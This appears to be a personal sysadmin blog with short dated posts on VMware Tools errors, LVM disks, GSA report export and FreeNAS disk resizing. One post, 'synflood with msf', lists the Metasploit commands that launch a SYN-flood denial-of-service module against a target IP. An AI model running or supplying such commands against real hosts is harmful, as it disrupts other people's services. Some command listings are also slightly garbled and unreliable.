יום ראשון, 12 במאי 2013

Failure to install VMware Tools: Cannot find the answer BINDIR in the installer database (1013159)

Details

If a VMware Tools installation is stopped before it can set the BINDIR (which occurs after the first prompted question), the installer is stopped prematurely and displays the following message:

A previous installation of VMware Tools has been detected.

The previous installation was made by the tar installer (version 4).

Keeping the tar4 installer database format.

You have a version of VMware Tools installed. Continuing this install will
first uninstall the currently installed version. Do you wish to continue?
(yes/no) [yes]
 
If you select yes, the following error message appears:

Error: Unable to find the binary installation directory (answer BINDIR)
in the installer database file "/etc/vmware-tools/locations".

Uninstall failed. Please correct the failure and re run the install.

Execution aborted.

Solution

To solve this issue, remove the /etc/vmware-tools/locations file and reinstall VMware Tools.


Link: http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1013159

How to install VMware tools on Centos 6.4 Redhat 6.4 RHEL Fedora 18

1. Open Vmware Worstation or ESX console
2. Choose your CentOS or Redhat or Fedora Server  which you want to install vmware tool.
3. Choose VM tab –> Install VMware tools Mount cd to Centos Server and install VMware-tools

[root@Centos6 ]# mount /dev/cdrom /mnt
[root@Centos6 ]# cd /mnt
[root@Centos6 mnt]# cp VMwareTools-* /tmp
[root@Centos6 mnt]#cd /tmp
[root@Centos6 tmp]# tar -xzvf VMwareTools-*
[root@Centos6 tmp]# cd vmware-tools-distrib
[root@Centos6 vmware-tools-distrib]# ./vmware-install.pl -d

יום ראשון, 21 באפריל 2013

Fix: VMware vSphere Client – Error 1406. Could not write value ProductLanguage


The Problem:
Got this notification when trying to install the vSphere Client 5.X on Server 2008 R2.
 
The Solution:
Go to the regedit and delete the reg entry
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.



Link:

יום רביעי, 17 באפריל 2013

Add new LVM hard disk on linux virtual machine

Add new H.D on the guest machine

 
 
 
 
# ls /sys/class/scsi_host
# echo "- - -" > /sys/class/scsi_host/host0/scan
# fdisk –l
 
 
 
# tail -f /var/log/message
# fdisk /dev/sdb
# pvcreate /dev/sdb1

vgcreate lvm01 /dev/sdb1
# vgrename lvm01 vg01
 
# vgscan

# lvcreate --name lvm01 --size 4.99G vg01
# lvscan
mkfs.ext4 /dev/vg01/lvm01
 
 
# vi /etc/fstab/df

# dev/vg01/lvm01 /mnt/lvm01/                          ext4    defaults   0 0
# df -h


 


יום שני, 8 באפריל 2013

synflood with msf

Msf  > use auxiliary/dos/tcp/synflood
Msf auxiliary (synflood) > show options
Set RHOST 192.168.0.1
Set TIMEOUT 50
Run

יום רביעי, 3 באפריל 2013

GSA - PDF Report not working

The Porblem:  
When you are trying to export your reports to pdf from the gsad  it's not working.
You just get 0 bytes pdf files


The solution: 
# apt-get -y install texlive-latex-base texlive-latex-extra texlive-latex-recommended htmldoc



יום ראשון, 10 במרץ 2013

FreeNAS Expand / Resize disk on VMware

Here is a short manual how to expand disk for FreeNAS on VMware 
  • Shutdown the server
  • Extend the H.D:



    • Power on the server
    • Log in to the GUI (admin:freenas) and confirm that the server is working fine

     
    Run this commands:
      1. zpool list
      2. zpool status #zpool_name _ moshe#
      3. camcontrol readcap da1 -h
      4. gpart show da1
      5. zpool export #zpool_name _ moshe#
      6. gpart status da1
      7. gpart recover da1 
      8. gpart show da1 
      9. gpart resize -i 2 da1
      10. gpart show da1
      11. zpool import
      12. reboot the system

    More informaion:
    http://www.aionsolution.com/blog/nas/freenas-expand-resize-disk/